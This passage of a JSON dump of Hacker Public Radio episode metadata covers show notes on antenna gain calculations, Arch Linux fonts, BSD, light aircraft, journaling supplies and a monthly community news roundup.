                                                            ERP and EIRP are both used to indicate the power achieved using\n an antenna.ERP compares the antenna performance with a dipole, and\n EIRP compares the performance with an isotropic antenna. So, the\n ERP is the power which would need to be fed into a dipole antenna,\n to get the same effect in the direction your antenna is pointing.\n EIRP is the power required for an isotropic antenna to gain\n equivalence.

                                                            \n


                                                            \n

                                                            \n

                                                            Practical example: My KX3 can transmit 15W. using the formula\n above, this is 11.77 dB. If I attach a Yagi-Uda antenna with a\n gain of 10dB, the ERP is 21.77 dB. Using the formula\n above, from this number you can calculate that this is the\n equivalent of 150.3142 Watts ERP. To understand the EIRP, we need\n to add 2.15 to the 21.77 dB value, giving 23.92 dB EIRP.\n Again, converting to actual power gives 246.515 Watts EIRP.

                                                            \n


                                                            \n

                                                            \n
                                                              \n
                                                            • If you are comparing antennas, make sure the same units are\n being used in all cases (either EIRP or ERP) - some sellers will\n use EIRP, because the values are higher!\n
                                                            • \n
                                                            • Check your licence conditions. Power output limits are often\n at the antenna, and don't include antenna gain. You can set your\n transmitter to output sufficient power to overcome any feed line\n losses, and present up to the power permitted to the antenna. A\n good antenna can then be used to get the transmitted power out\n and across the world. For feedline loses, the value is given in\n dB per 10 metres. For example, RG58 is 2dB / 10 metres (at\n 100MHz - choose the right feeder coax for your target\n frequency!). If you have 15 metres, then you will have 3 dB\n feeder loss, so half of your transmitter power will be lost in\n the feed line. If you know this and your transmitter can output\n more, then you can increase the transmitter power accordingly.\n So for 25W at the transmitter, with 3dB loss in the feeder, you\n can set the output to 50W.\n
                                                            • \n
                                                            • Some transmit power limits are set in ERP or EIRP, so you will\n need to calculate back from the antenna to see the maximum\n allowable transmitter power, to stay within the rules.\n
                                                            • \n
                                                            \n

                                                            6.0 Combining values

                                                            \n

                                                            One result of the use of dB is that you can add the values\n together to understand the whole system gain. So, with our example\n above, if we have 11.77 dB of output power, then -1 dB insertion\n loss for a bandpass filter, -3 dB loss for the feeder, and 5dB\n gain on the antenna, the overall ERP is 12.77 dB. You can convert\n this back to Watts, to get 18.92W ERP.

                                                            \n

                                                            7.0 Links

                                                            \n \n","hostid":438,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Antenna gain, power measurement, antenna comparison","version":0,"downloads":0,"valid":1}, {"id":4383,"date":"2025-05-21","title":"Changing font in Arch Linux (Wayland)","duration":643,"summary":"How I changed my default font for my system.","notes":"\n

                                                            font selection

                                                            \n

                                                            Nerd Fonts -\n Iconic font aggregator, glyphs/icons collection, & fonts\n patcher

                                                            \n

                                                            Programming\n Fonts - Test Drive

                                                            \n

                                                            font installation

                                                            \n

                                                            install font package

                                                            \n

                                                            % yay -Sy $font_package

                                                            \n

                                                            update font database

                                                            \n

                                                            % fc-cache --force --verbose

                                                            \n

                                                            verify available fonts

                                                            \n

                                                            % fc-list | grep $font_name

                                                            \n

                                                            change font in\n application configs

                                                            \n

                                                            e.g.:

                                                            \n

                                                            alacritty

                                                            \n

                                                            emacs

                                                            \n

                                                            sway

                                                            \n

                                                            tofi

                                                            ","hostid":448,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"linux,arch,system,font,default,oxo","version":0,"downloads":0,"valid":1}, {"id":4384,"date":"2025-05-22","title":"Browser and dedicated apps on the mobile phone","duration":132,"summary":"The traditional browser can reduce the number of dedicated apps on the smart mobile phone.","notes":"\n

                                                            \nRecently I had a discussion on Mastodon about mobile phone applications.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe other person stated \"the web belongs to web browsers\". I agreed to it as a general good approach.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSome dedicated apps cannot be substituted with the browser, but some can. I do not have so many apps myself, but anyway that statement got me to review a couple of my apps how they works in the Firefox browser.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAnd actually, I could delete three apps and all functions I needed from them can be managed from Firefox.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBeside traditional bookmarks, those pages can be pinned to the Firefox start page or placed like a webapp on the mobile screen, so they look like an ordinary app.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nUsing the Firefox browser makes it easier to control the privacy. In addition to what is built into Firefox, I currently also have the two extensions, Privacy Badger and uBlock Origin in my Firefox browser.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBeside privacy and in general to be somewhat more in control, this approach also reduces the number of apps to keep updated and reduce storage need.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSometimes apps are necessary of otherwise beneficial. But I think the traditional browser should not be forgotten also on the smart mobile phone.

                                                            \n\n\n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"phone, apps, browser","version":0,"downloads":0,"valid":1}, {"id":4385,"date":"2025-05-23","title":"Cable un-managment lol","duration":996,"summary":"operat0r talks about cable managment or the lack of...","notes":"\n

                                                            \n Some tips that I use for cable management, and keeping a track of\n stuff. Featuring the elusive \"charge master 9000 NGX Pro\n Enterprise Edition\".

                                                            \n

                                                            \n Links

                                                            \n \n

                                                            \n \n \"A\n\n \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n \"A\n\n \n

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"computers,wires,electronics","version":0,"downloads":0,"valid":1}, {"id":4386,"date":"2025-05-26","title":"Silly Tavern Spicy Roll Play","duration":1181,"summary":"Silly Tavern Spicy Roll Play for degenerates !","notes":"\n

                                                            \n\nhttps://jamboree.rmccurdy.com\n

                                                            \n

                                                            \nProfiles top 100 M/F 

                                                            \n

                                                            \n\nhttps://github.com/freeload101/SCRIPTS/tree/master/NODE\n

                                                            \n

                                                            \n(Click the horde tab and use my key)

                                                            \n

                                                            \n\nhttps://agnai.chat/settings?tab=0  \n

                                                            \n

                                                            \n\nhttps://lite.koboldai.net\n

                                                            \n

                                                            \n\nhttps://sillytavernai.com says \nsays \"SillyTavern is an advanced, locally-deployed interface designed to facilitate deep, interactive role-playing experiences. Built on large language models (LLMs) such as \nClaude\n and \nGemini\n, SillyTavern allows users to engage with custom-built characters that they can mold according to their own preferences. The tool was created by \nCohee\n, \nRossAscends\n, and the \nSillyTavern community\n, evolving from an earlier version of TavernAI. Its core function is to serve as a front-end interface for AI models via API calls, which means it doesn't require users to host complex models themselves.\"

                                                            \n\n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ai,roll play,chat bots,bots","version":0,"downloads":0,"valid":1}, {"id":4387,"date":"2025-05-27","title":"Did she say she flew light aircraft?!","duration":1766,"summary":"Wherein Elsbeth expounds on her experience with light aircraft and how it relates to her geekiness","notes":"\n\n \n\n \n \n \n \n In this nostalgic episode, I share my personal experiences riding\n and flying light aircraft during the 1980s and 1990s. From the hum\n of a Cessna engine to the grace of a Bonanza slicing through the\n clouds, it’s a journey through the skies filled with stories of\n daring, faith, and the wonder of flight.\n

                                                            Topics Covered:\n

                                                            \n
                                                              \n
                                                            • \n \n Light Aircraft Overview\n
                                                            • \n
                                                            • \n General insight into what qualifies as light aircraft and why\n they’re beloved by private pilots and hobbyists.
                                                            • \n
                                                            • Light aircraft –\n Wikipedia\n
                                                            • \n
                                                            • \n \n Flying in a Cessna\n
                                                            • \n
                                                            • \n Memories of flying in various models of the iconic\n Cessna—dependable, nimble, and a staple of personal aviation.
                                                            • \n
                                                            • Cessna – Wikipedia\n
                                                            • \n
                                                            • \n \n Bonanza Adventures\n
                                                            • \n
                                                            • \n Experiences flying in the Beechcraft Bonanza, known for its\n sleek design and comfort—especially memorable during\n cross-country flights.
                                                            • \n
                                                            • Beechcraft Bonanza –\n Wikipedia\n
                                                            • \n
                                                            • \n \n Missionary Aviation Stories\n
                                                            • \n
                                                            • \n Recollections of missionary pilots and their vital roles in\n reaching remote areas, often relying on small aircraft to\n deliver aid, supplies, and hope.
                                                            • \n
                                                            • Missionary aviation\n – Wikipedia\n
                                                            • \n
                                                            • \n \n Aviation in the 1980s and 1990s\n
                                                            • \n
                                                            • \n A look back at the culture of general aviation during this\n era—before GPS was common, when flight was guided more by\n instinct, skill, and charts on your lap.
                                                            • \n
                                                            • General aviation –\n Wikipedia\n
                                                            • \n
                                                            \n

                                                            Listen now on your favourite platform and take\n to the skies with me!

                                                            \n \n","hostid":446,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"aircraft, light aircraft, flight, travel, instruments, navigation, freebird","version":0,"downloads":0,"valid":1}, {"id":4388,"date":"2025-05-28","title":"BSD Overview","duration":2576,"summary":"norrist describes how you can be a real hacker and run BSD","notes":"\n

                                                            \nIntro

                                                            \n
                                                              \n
                                                            • \nHow I know BSD
                                                            • \n
                                                            • \nVery minimal NetBSD usage
                                                            • \n
                                                            • \nI'm am leaving out Dragonfly BSD
                                                            • \n
                                                            • \nPrevious episodes
                                                            • \n
                                                            • \nSeveral by \nClaudio Miranda\n and others - check the \ntags\n page.
                                                            • \n
                                                            • \nhpr3799 :: My home router history
                                                            • \n
                                                            • \nhpr3187 :: Ansible for Dynamic Host Configuration Protocol
                                                            • \n
                                                            • \nhpr3168 :: FreeBSD Jails and iocage
                                                            • \n
                                                            • \nhpr2181 :: Install OpenBSD from Linux using Grub
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHistory and Overview

                                                            \n
                                                            \n\nhttps://en.wikipedia.org/wiki/History_of_the_Berkeley_Software_Distribution\nThe history of the Berkeley Software Distribution began in the 1970s when University of California, Berkeley received a copy of Unix. Professors and students at the university began adding software to the operating system and released it as BSD to select universities.
                                                            \n\n

                                                            \n
                                                            \n

                                                            \n

                                                            \nComparisons to Linux

                                                            \n
                                                              \n
                                                            • \nNot better or worse, just different.
                                                            • \n
                                                            • \nBSD is a direct descendant of the original UNIX
                                                            • \n
                                                            • \nNot distributions - Separate projects with separate code bases.
                                                            • \n
                                                            • \nPermissive vs Copyleft
                                                            • \n
                                                            • \nOne Project vs Kernel + User land
                                                            • \n
                                                            • \nMost Open Source software is available on BSD
                                                            • \n
                                                            • \nports and packages
                                                            • \n
                                                            • \nNetwork Devices and DISKS will have different naming conventions. \nBE CAREFUL\n
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDistinctives

                                                            \n

                                                            \nFreeBSD

                                                            \n
                                                              \n
                                                            • \nProbably most widely used
                                                            • \n
                                                            • \nBase OS Commercial products
                                                            • \n
                                                            • \nTightly integrated with ZFS
                                                            • \n
                                                            • \nJails
                                                            • \n
                                                            • \nOS for Firewall appliances - PFSense and Opensense
                                                            • \n
                                                            \n

                                                            \nOpenBSD

                                                            \n
                                                              \n
                                                            • \nFocus on Code Correctness and Security
                                                            • \n
                                                            • \nOften First to develop new security methodologies - ASLR and Kernel relinking at boot
                                                            • \n
                                                            • \nHome of OpenSSH, ...
                                                            • \n
                                                            • \nBase includes Xorg and a minimal Window Manager
                                                            • \n
                                                            • \nThe Best docs - man pages
                                                            • \n
                                                            \n

                                                            \nNetBSD

                                                            \n
                                                              \n
                                                            • \nSupports the most platforms
                                                            • \n
                                                            • \n\npkgsrc\n can be used on any UNIX like.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHow I use BSD

                                                            \n

                                                            \nHome Router

                                                            \n
                                                              \n
                                                            • \nRecently migrated from FreeBSD to OpenBSD
                                                            • \n
                                                            • \nBetter support for the cheap 2.5G network adapters in Ali express firewalls
                                                            • \n
                                                            \n

                                                            \nWorkstations

                                                            \n
                                                              \n
                                                            • \nOpenBSD Dual boot laptop - missing some nice features - Vscode and BT audio
                                                            • \n
                                                            • \nOpenBSD for Banking
                                                            • \n
                                                            \n

                                                            \nNAS

                                                            \n
                                                              \n
                                                            • \nFreeBSD
                                                            • \n
                                                            • \nWas physical by migrated to Proxmox VM with direct attached drives
                                                            • \n
                                                            • \nJails for some apps
                                                            • \n
                                                            • \nZFS pools for storage
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMy recommendations

                                                            \n
                                                              \n
                                                            • \nRouter
                                                            • \n
                                                            • \nOpenBSD - Any BSD will work
                                                            • \n
                                                            • \nOpensense - similar experience to managing DD-WRT
                                                            • \n
                                                            • \nThinkpads - OpenBSD
                                                            • \n
                                                            • \nOther laptops / PC - FreeBSD desktop focus derivative. ghost or midnight
                                                            • \n
                                                            • \nServers/NAS FreeBSD
                                                            • \n
                                                            • \nZFS
                                                            • \n
                                                            • \nJails
                                                            • \n
                                                            • \nBSD is worth trying
                                                            • \n
                                                            • \nDual booting is supported but can be tricky if unfamiliar.
                                                            • \n
                                                            \n

                                                            \nr

                                                            \n\n\n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bsd,freebsd,openbsd,netbsd","version":0,"downloads":0,"valid":1}, {"id":4389,"date":"2025-05-29","title":"Comments on hpr4373","duration":437,"summary":"Rho`n gives comments on oxo's HPR episode 4373","notes":"\n

                                                            \nSynopsis

                                                            \n

                                                            \nOn this episode, Rho`n talks about his experience with the *nix find command

                                                            \n

                                                            \nand the -print0 option in relation to oxo's experience. He also gives a

                                                            \n

                                                            \n brief explanation of the xargs command and its use with find -print0.

                                                            \n

                                                            \nReferences:

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bash, commandline, find, rsync, pipe, xargs","version":0,"downloads":0,"valid":1}, {"id":4390,"date":"2025-05-30","title":"Playing Civilization IV, Part 9","duration":952,"summary":"Using wonders to help win","notes":"

                                                            \n As we saw in the demonstration of the Culture victory, picking the\n right Wonders to build is an important part of your strategy, so\n in this episode we conclude our look at Civilization IV by\n analysing which Wonders to focus on for each Victory type.

                                                            \n

                                                            \n Links:

                                                            \n ","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV, Wonders","version":0,"downloads":0,"valid":1}, {"id":4391,"date":"2025-06-02","title":"HPR Community News for May 2025","duration":4617,"summary":"HPR Volunteers talk about shows released and comments posted in May 2025","notes":"

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4369Thu2025-05-01What LP records do I have?Fred Black
                                                            4370Fri2025-05-02Playing Civilization IV, Part 8Ahuka
                                                            4371Mon2025-05-05HPR Community News for April 2025HPR Volunteers
                                                            4372Tue2025-05-06The power of GNU Readline - part 4Some Guy On The Internet
                                                            4373Wed2025-05-07Rsync with stdin as sourceoxo
                                                            4374Thu2025-05-0824-25 New Years Eve show 7Honkeymagoo
                                                            4375Fri2025-05-09Long Chain Carbons,Eggs and Dorodango?operat0r
                                                            4376Mon2025-05-12Re-researchLee
                                                            4377Tue2025-05-13Password store and the pass commandKlaatu
                                                            4378Wed2025-05-14SQL to get the next_free_slotnorrist
                                                            4379Thu2025-05-15Mapping Municipalities' Digital DependenciesTrollercoaster
                                                            4380Fri2025-05-16Isaac Asimov: The Rest of Asimov's Foundation StoriesAhuka
                                                            4381Mon2025-05-19What Omni-Instantness Makes To My Brain and Your Brain?Antoine
                                                            4382Tue2025-05-20Understanding Antenna Gain and the Decibel scalePaulj
                                                            4383Wed2025-05-21Changing font in Arch Linux (Wayland)oxo
                                                            4384Thu2025-05-22Browser and dedicated apps on the mobile phoneHenrik Hemrin
                                                            4385Fri2025-05-23Cable un-managment loloperat0r
                                                            4386Mon2025-05-26Silly Tavern Spicy Roll Playoperat0r
                                                            4387Tue2025-05-27Did she say she flew light aircraft?!Elsbeth
                                                            4388Wed2025-05-28BSD Overviewnorrist
                                                            4389Thu2025-05-29Comments on hpr4373Rho`n
                                                            4390Fri2025-05-30Playing Civilization IV, Part 9Ahuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 40 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 9 comments on\n6 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3511\n(2022-01-17) \"Podman like Vagrant\"\nby Klaatu.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSome Guy on the Internet on 2025-05-16:\n\"It's show time\"

                                                              \n
                                                            • hpr4036\n(2024-01-22) \"The Tildeverse\"\nby Claudio Miranda.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nleeand0 on 2025-05-25:\n\"Another Public Access Unix\"
                                                              • \n
                                                              • \nComment 3:\nleeand0 on 2025-05-25:\n\"Another Public Access Unix\"

                                                              \n
                                                            • hpr4072\n(2024-03-12) \"Piper text to speech engine\"\nby Archer72.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nArcher72 on 2025-05-20:\n\"Voice synthesis\"

                                                              \n
                                                            • hpr4281\n(2024-12-30) \"My ridiculously complicated DHCP setup at home\"\nby Jon The Nice Guy.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nWindigo on 2025-05-23:\n\"As advertised\"

                                                              \n
                                                            • hpr4367\n(2025-04-29) \"My first episode; 001 Introduction\"\nby oxo.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nTorin Doyle on 2025-05-09:\n\"Welcome!\"
                                                              • \n
                                                              • \nComment 2:\narcher72 on 2025-05-09:\n\"Welcome. \"
                                                              • \n
                                                              • \nComment 3:\noxo on 2025-05-30:\n\"Thank you\"

                                                              \n
                                                            • hpr4368\n(2025-04-30) \"Lessons learned moderating technical discussion panels\"\nby Trixter.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nReto on 2025-05-06:\n\"A link to one or more\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 31 comments on 15 of this month's shows:

                                                            \n
                                                            • hpr4371\n(2025-05-05) \"HPR Community News for April 2025\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nPaul on 2025-05-05:\n\"mp3 quality \"
                                                              • Comment 2:\nKen Fallon on 2025-05-05:\n\"Good question !\"
                                                              • Comment 3:\nHenrik Hemrin on 2025-05-08:\n\"Community\"

                                                              \n
                                                            • hpr4372\n(2025-05-06) \"The power of GNU Readline - part 4\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTorin Doyle on 2025-05-09:\n\"SGOTI is so likeable.\"
                                                              • Comment 2:\nDave Morriss on 2025-05-17:\n\"VI Mode\"

                                                              \n
                                                            • hpr4373\n(2025-05-07) \"Rsync with stdin as source\"\nby oxo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nPaulj on 2025-05-09:\n\"rsync capabilities\"
                                                              • Comment 2:\narcher72 on 2025-05-09:\n\"Rsync - paulj\"
                                                              • Comment 3:\nDave Morriss on 2025-05-17:\n\"Enjoyable show!\"

                                                              \n
                                                            • hpr4374\n(2025-05-08) \"24-25 New Years Eve show 7\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2025-05-08:\n\"Ha! The signoff!\"

                                                              \n
                                                            • hpr4375\n(2025-05-09) \"Long Chain Carbons,Eggs and Dorodango?\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTorin Doyle on 2025-05-09:\n\"The cruelty of the egg industry.\"
                                                              • Comment 2:\nBob on 2025-05-09:\n\"Free range eggs\"
                                                              • Comment 3:\nSome Guy on the Internet on 2025-05-16:\n\"@Bob, Free range eggs.\"

                                                              \n
                                                            • hpr4376\n(2025-05-12) \"Re-research\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\npaul on 2025-05-12:\n\"sonos play back\"
                                                              • Comment 2:\nLee on 2025-05-13:\n\"Sonos\"
                                                              • Comment 3:\nSome Guy on the Internet on 2025-05-16:\n\"LLMs in academic research\"

                                                              \n
                                                            • hpr4377\n(2025-05-13) \"Password store and the pass command\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy on the Internet on 2025-05-16:\n\"Great show.\"

                                                              \n
                                                            • hpr4379\n(2025-05-15) \"Mapping Municipalities' Digital Dependencies\"\nby Trollercoaster.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy on the Internet on 2025-05-25:\n\" I agree with the intentions.\"

                                                              \n
                                                            • hpr4380\n(2025-05-16) \"Isaac Asimov: The Rest of Asimov's Foundation Stories\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy on the Internet on 2025-05-27:\n\"I'll have a go.\"

                                                              \n
                                                            • hpr4381\n(2025-05-19) \"What Omni-Instantness Makes To My Brain and Your Brain?\"\nby Antoine.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-03-19:\n\"Interesting show.\"
                                                              • Comment 2:\nAntoine on 2025-03-20:\n\"Nice study =)\"
                                                              • Comment 3:\nSome Guy on the Internet on 2025-05-25:\n\"My two cents.\"
                                                              • Comment 4:\nAntoine on 2025-05-29:\n\"Education\"

                                                              \n
                                                            • hpr4384\n(2025-05-22) \"Browser and dedicated apps on the mobile phone\"\nby Henrik Hemrin.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nlyunpaw@gmail.com on 2025-05-27:\n\"I agree.\"

                                                              \n
                                                            • hpr4385\n(2025-05-23) \"Cable un-managment lol\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy on the Internet on 2025-05-27:\n\"It's over 9000!\"

                                                              \n
                                                            • hpr4387\n(2025-05-27) \"Did she say she flew light aircraft?!\"\nby Elsbeth.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2025-05-18:\n\"Thank you for sharing\"
                                                              • Comment 2:\nKEVIN B OBRIEN on 2025-05-29:\n\"I loved the show\"
                                                              • Comment 3:\nJim DeVore on 2025-05-31:\n\"Thanks for the inspiration\"

                                                              \n
                                                            • hpr4388\n(2025-05-28) \"BSD Overview\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2025-05-29:\n\"Thanks for this\"
                                                              • Comment 2:\nJim DeVore on 2025-05-31:\n\"Thank you!\"

                                                              \n
                                                            • hpr4389\n(2025-05-29) \"Comments on hpr4373\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\noxo on 2025-05-29:\n\"Hi Rho`n\"
                                                              • Comment 2:\nDave Morriss on 2025-05-29:\n\"Good episode\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List\nwhich is open to all HPR listeners and contributors. The discussions are open\nand available on the HPR server under Mailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-May/thread.html\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4392,"date":"2025-06-03","title":"The Water is Wide, and the sheet music should be too","duration":583,"summary":"some ramblings about using opensource for printiing sheet music and helping with my timing","notes":"\n

                                                            lilypond opensource music notation software https://lilypond.org/

                                                            \n

                                                            dombra https://en.wikipedia.org/wiki/Dombra

                                                            ","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"music, bagpipes, dumbra, lilypond ","version":0,"downloads":0,"valid":1}, {"id":4393,"date":"2025-06-04","title":"Journal like you mean it.","duration":1860,"summary":"Sgoti talks about journaling with bujo, the bullet journal method.","notes":"\n

                                                            Prerequisites:

                                                            \n
                                                              \n
                                                            • \n

                                                              Novice

                                                              \n
                                                                \n
                                                              • \n

                                                                Ability to read and write.

                                                                \n
                                                              • \n
                                                              • \n

                                                                Access to pen and paper.

                                                                \n
                                                              • \n
                                                              \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • \n

                                                              Advanced/Expert

                                                              \n
                                                                \n
                                                              • Disc bound notebook (if you're cool you'll have one)
                                                              • \n
                                                              \n
                                                            • \n
                                                            \n

                                                            Title: BIC Soft Feel Retractable Ballpoint Pen, Medium Point\n (1.0mm)

                                                            \n

                                                            Source(s): https://us.bic.com/en_us/bic-soft-feel-retractable-ball-point-pen-medium-assorted-36-pack.html\n

                                                            \n

                                                            UPC: 070330196506

                                                            \n

                                                            Item Number: SCSM361-AST

                                                            \n

                                                            Commercial name: Soft Feel Retractable Ball Pen

                                                            \n

                                                            Retractable pen

                                                            \n

                                                            no-slip grip

                                                            \n

                                                            Tungsten carbide ball

                                                            \n

                                                            1.0mm medium point

                                                            \n

                                                            Title: BIC Cristal Xtra Smooth Black Ballpoint Pens, Medium Point\n (1.0mm).

                                                            \n

                                                            Source(s): https://us.bic.com/en_us/bic-cristal-xtra-smooth-black-ballpoint-pens-medium-point-1-0mm-500-count-pack.html\n

                                                            \n

                                                            UPC: 070330377226

                                                            \n

                                                            Item Number: MS500E-BLK

                                                            \n

                                                            Commercial name: Cristal Xtra Smooth Ball Pen

                                                            \n

                                                            Cap with pocket clip

                                                            \n

                                                            Tungsten carbide ball

                                                            \n

                                                            1.0mm medium point

                                                            \n

                                                            Translucent barrel for visible ink supply

                                                            \n

                                                            Title: BIC Round Stic Xtra Comfort Black Ballpoint Pens, Medium\n Point (1.0mm).

                                                            \n

                                                            Source(s): https://us.bic.com/en_us/bic-round-stic-xtra-comfort-black-ballpoint-pens-144-count-pack.html\n

                                                            \n

                                                            UPC: 070330377325

                                                            \n

                                                            Item Number: GSMG144E-BLK

                                                            \n

                                                            Commercial name: Round Stic Grip Xtra Comfort Ball Pen

                                                            \n

                                                            Cap with pocket clip

                                                            \n

                                                            Tungsten carbide ball

                                                            \n

                                                            1.0mm medium point

                                                            \n

                                                            Title: BIC Round Stic Xtra Life, Ball Point Pen

                                                            \n

                                                            Source(s): https://us.bic.com/en_us/bic-round-stic-xtra-life-ball-point-pen-blue-60-pack.html\n

                                                            \n

                                                            Cap with pocket clip

                                                            \n

                                                            Tungsten carbide ball

                                                            \n

                                                            1.0mm medium point

                                                            \n

                                                            Translucent barrel for visible ink supply

                                                            \n

                                                            UPC: 070330131613

                                                            \n

                                                            Item Number: GSM609DC

                                                            \n

                                                            Commercial name: Round Stic Xtra Life Ball Pen

                                                            \n

                                                            Title: Pilot G2 Pens 0.7 mm

                                                            \n

                                                            Source(s): https://www.target.com/s/pilot+g2+pens\n

                                                            \n

                                                            Source(s): https://pilotpen.us/Product?0=41&1=47&cid=260\n

                                                            \n

                                                            Gel ink Rolling Ball

                                                            \n

                                                            0.7mm fine point

                                                            \n

                                                            Translucent barrel for visible ink supply

                                                            \n

                                                            Rubber grip

                                                            \n

                                                            Refillable

                                                            \n

                                                            Convenient clip

                                                            \n

                                                            Title: Uniball Signo 207

                                                            \n

                                                            Source(s): https://www.unibrands.co/collections/207\n

                                                            \n

                                                            Gel ink

                                                            \n

                                                            0.7mm fine point

                                                            \n

                                                            Translucent barrel for visible ink supply

                                                            \n

                                                            Rubber grip

                                                            \n

                                                            Refillable

                                                            \n

                                                            Convenient clip

                                                            \n

                                                            Title: uniball™ Roller, Rollerball Pens.

                                                            \n

                                                            Source(s): https://www.unibrands.co/collections/rollerball-pens/products/roller-rollerball-pens\n

                                                            \n

                                                            Gel ink

                                                            \n

                                                            0.7mm fine point

                                                            \n

                                                            Refillable

                                                            \n

                                                            Cap with clip

                                                            \n

                                                            Title: 8.5 x 11 dot grid paper, 100 sheets/200 pages.

                                                            \n

                                                            Source(s): https://www.amazon.com/Unpunched-Refills-Discbound-Notebook-Planner/dp/B08Q3DR7LX?th=1\n

                                                            \n

                                                            Title: Bullet Journal® (aka Bujo) is a simple life operating\n system.

                                                            \n

                                                            Source(s): https://bulletjournal.com/

                                                            \n

                                                            Source(s): https://youtu.be/fm15cmYU0IM

                                                            \n

                                                            Source(s): https://www.youtube.com/bulletjournal

                                                            \n

                                                            Title: hpr2415 :: bullet journal to org mode

                                                            \n

                                                            Source(s): https://hackerpublicradio.org/eps/hpr2415/index.html\n

                                                            \n

                                                            Title: Staples 1-Subject Customizable Notebook

                                                            \n

                                                            Source(s): https://www.staples.com/staples-arc-customizable-notebook-6-3-4-x-8-3-4-60-sheets-narrow-ruled-black-20000/product_886234\n

                                                            \n

                                                            Title: Pen+Gear Soft Pencil Grip, Assort Color 20 Counts

                                                            \n

                                                            Source(s): https://www.walmart.com/ip/Pen-Gear-Soft-Pencil-Grip-Assort-Color-20-Counts/1214761626

                                                            \n

                                                            Title: Pen+Gear Silicone Pencil Grip, Multicolor, 6 Count

                                                            \n

                                                            Source(s): https://www.walmart.com/ip/Pen-Gear-Adaptive-Pencil-Grips-Assorted-Colors-6-Count/1663341728

                                                            \n

                                                            Title: F-301 Retractable Ballpoint

                                                            \n

